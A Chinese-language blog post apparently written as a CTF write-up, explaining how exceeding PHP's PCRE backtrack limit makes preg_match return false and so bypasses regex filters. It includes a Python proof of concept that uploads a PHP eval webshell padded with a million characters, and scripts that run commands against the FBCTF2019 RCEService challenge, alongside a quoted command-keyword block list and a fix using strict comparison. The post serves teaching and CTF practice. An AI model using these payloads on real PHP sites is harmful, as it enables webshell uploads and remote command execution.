PHP利用PCRE回溯次数限制绕过某些安全限制


先看下面这道题,将其代码简化如下:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。这种时候,如何绕过is_php()函数来写入webshell呢?

这道题看似简单,深究其原理,还是值得写一篇文章的。

0x01 正则表达式是什么

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA:从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

0x02 回溯的过程是怎样的

所以,我们题目中的正则:

<\?.*[(`;?>].*

假设匹配的输入是<?php phpinfo();//aaaaa,实际执行流程是这样的:

见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符:

[(`;?>]

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的 ; 则匹配上了:

[(`;?>]

这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数:

这里回溯了8次。

0x03 PHP的 pcre.backtrack_limit 限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?

比如:

可见,preg_match返回的非1和0,而是false。

preg_match函数返回false表示此次执行失败了,我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

对应的POC如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0x04 修补方法

那么,如何修复这个问题呢?

其实如果我们仔细观察PHP文档,是可以看到preg_match函数下面的警告的:

image-20201015152031295

如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,如:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回false,也不会进入if语句。

实战:[FBCTF2019]RCEService

进入题目:

说是要求用json格式传送payload。

我们尝试ls命令:{"cmd":"ls"}

如上图,竟然成功了,而且发现了index.php文件。

但是读取flag的时候被检测了:

据说当时题目给出了index.php的源码:

<?php

putenv('PATH=/home/rceservice/jail');   // 配置系统环境变量

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

这里就用到了上面所讲的知识,用PCRE回溯次数限制来绕过preg_match函数。即pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false,我们的目的也是让代码中的preg_match返回false,使其执行命令。

我们先看看根目录又什么东西,payload如下:

import requests

payload = '{"cmd":"ls /","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://1f61785b-5977-4a56-ad56-eb5403597fac.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

但并未发现flag。

而源码告诉了路径 putenv('PATH=/home/rceservice/jail');,看看这个路径下面都有什么

import requests

payload = '{"cmd":"ls /home/rceservice/jail","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://1f61785b-5977-4a56-ad56-eb5403597fac.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

发现在/home/rceservice/jail目录里有一个ls文件,现在知道了,之前能用ls的原因是因为ls的二进制文件放在这个目录下。代码中的putenv('PATH=/home/rceservice/jail');,即把jail应用于当前环境。

接着,我们在/home/rceservice目录下发现了flag:

尝试读取flag:

这里要注意,由于代码中有:putenv('PATH=/home/rceservice/jail');,即把jail应用于当前环境,jail里面有ls,所以我们可以直接使用ls命令,但是jail里面并没有cat命令,所以我们直接使用cat是不对的:

import requests

payload = '{"cmd":"cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://1f61785b-5977-4a56-ad56-eb5403597fac.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

如下图,什么输出都没有:

所以我们要直接拉出cat的路径,即/bin/cat

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://1f61785b-5977-4a56-ad56-eb5403597fac.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

得到flag。

参考:https://www.freebuf.com/articles/web/190794.html


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC